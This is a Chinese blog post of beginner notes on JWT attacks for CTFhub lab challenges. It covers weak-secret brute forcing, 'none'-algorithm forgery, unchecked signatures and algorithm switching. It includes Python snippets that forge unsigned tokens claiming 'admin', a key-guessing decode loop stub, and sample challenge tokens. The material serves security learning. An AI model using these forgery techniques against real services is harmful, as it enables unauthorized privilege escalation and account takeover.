jwt入门学习

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jwt入门学习相关的知识,希望对你有一定的参考价值。

jwt不难,问题是在,找打secret_key,这个比较难搞,

一、 jwt基础知识学习:

现代 web 应用中替代 cookie 表示用户身份凭证的载体。形式类似 base64,但使用了 base64 可用字符空间之外的点字符,且无法直接解码。HTTP 报文中一旦发现 JWT,应重点关注。一时没想起,这不就是现代 web 常用的 JWT 么,服务端对 JWT 实现不好,容易导致垂直越权。

比如,把第二段的 user 字段值从 nana 篡改 admin。但是,JWT 的签名(也就是上面的第三部分),是对信息头和数据两部分结合密钥进行哈希而得,服务端通过签名来确保数据的完整性和有效性,正因如此,由于我无法提供密钥,所以,篡改后的 token 到达服务端后,无法通过签名校验,导致越权失败

1.小trick

secret可能在404页面,或者其他奇奇怪怪的地方,这个要细心一点。

二、、攻击jwt的入门的几种方式

在这里插入图片描述

1. 爆破弱密钥:

这个就很简单,了,

https://blog.csdn.net/Zero_Adam/article/details/114101169

2. 禁用哈希,也就是不用secret-key

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可惜了,没有成功,
但是这个题是成功的哦。。。

https://blog.csdn.net/Zero_Adam/article/details/114645263

3. 未校验签名,,,

这个最low,,,
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可能 服务端就没有进行校验,,然后就成功了,,,,
可能性贼少,,,

三、使用python

3. python加密jwt

# -*- coding: utf-8 -*-

import jwt
token = jwt.encode(
{
    # 这些都不是必须要的,都是我们传入的参数,
  "secretid": 12,
  "username": "admin",
  "password": "penson"
},
# 加密算法 none, None nOne,使用none的时候,有时候JWT会对 大小写敏感,所以可以多试一试。
# 加密算法,       加密密钥
algorithm="none",key=""
)
print(token)

加密算法 none, None nOne,使用none的时候,有时候JWT会对 大小写敏感,所以可以多试一试。

加密算法,对称算法HS256,这个比较常见,可能有 弱密钥爆破,

非对称算法RS256.非对称算法,可以使用将非对称算法转换为对称算法的这个方法,来实践密钥的爆破。

4. python解密jwt


import jwt# 将上面生成的 jwt 进行解析认证
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.DOOiRIK3kQgVcKba_HzzvgNYaPOQqCFQpy4eil_AOeM"
data = None
try:
    print (1)
    key="222" # 这里可以写爆破算法
    #      需要解析的 jwt        密钥                使用和加密时相同的算法
    data = jwt.decode(token, key, algorithms=['HS256'])
    # 解析出来的就是 payload 内的数据
    print(data)  # 输出: {'name': 'admin'}
    # 报错的会话,就把algorithms的列表去掉,

except Exception as e:
    print ("error")
    #如果 jwt 被篡改过; 或者算法不正确; 如果设置有效时间, 过了有效期; 或者密钥不相同; 都会抛出相应的异常
    print(e)

输出结果:
在这里插入图片描述

注意:algorithms用的是数组里面放字符串的方法,

在这里插入图片描述

5. python爆破 jwt弱密码

一、配套学习CTFhub上的

1. 敏感信息泄露:

直接给了jwt。

eyJBRyI6ImEzZjk5NTAwYWFlN2QwZX0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwYXNzd29yZCI6ImFzZGYiLCJGTCI6ImN0Zmh1YntkYTEyM2Q1NmYifQ.HXJ8OpGk8NcsQsxjTB13utXqpKqPWOc_IZrk_aSt0eI

但是用python脚本解密会出错,也对,需要解密密钥,但是我们 没有,然后python就会报错。,,那么就简单的base64解密,或者去jwt解密官网上去就好了。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.无签名,,可能就是指的是加密算法为none把,可以多换一换

明示改成admin,,,

在这里插入图片描述

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwYXNzd29yZCI6ImFzZGYiLCJyb2xlIjoiZ3Vlc3QifQ.J-nwCXxSmrQkZp7RIvGwKkSyF2iLN5efTFtz4n9YtSM

,,,python脚本解码,还是不行,,用python解码jwt,,看来就一定要是正确才行了。。还是就用其他的两个解码来吧,

在这里插入图片描述
提示无签名:

import jwt
token = jwt.encode(
{
    # 这些都不是必须要的,都是我们传入的参数,
  "role":"admin",
  "username": "asdf",
  "password": "asdf"
},
# 加密算法 none, None nOne,使用none的时候,有时候JWT会对 大小写敏感,所以可以多试一试。
# 加密算法,       加密密钥
algorithm="none",key=""
# algorithm=None 这样也行,也是可以的。
)

print(token)

这两个加密方法都是可以的。
在这里插入图片描述

换上就有了。但是还是有点问题。
在这里插入图片描述

3. 弱密钥

在这里插入图片描述

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwYXNzd29yZCI6ImFzZGYiLCJyb2xlIjoiZ3Vlc3QifQ.9fjWGarRvndQru6uDV7mhTwEFGGknfPKQ3ZZWVcleOo

之前的工具有个爆破jwt的密钥的,,但是我没有jwt的密钥的字典啊 ,,,

爆破的操作看这个把,

4. 修改签名算法,

非对称算法,,就是不一样。
方法看这个:这个这个这个

在这里插入图片描述

以上是关于jwt入门学习的主要内容,如果未能解决你的问题,请参考以下文章

快速入门

5分钟学会JWT原理和使用,一篇文章快速入门

JWT的权限控制与Shiro入门

AngularJS入门学习笔记一

系统入门深度学习,直击算法工程师m

推荐net开发cad入门阅读代码片段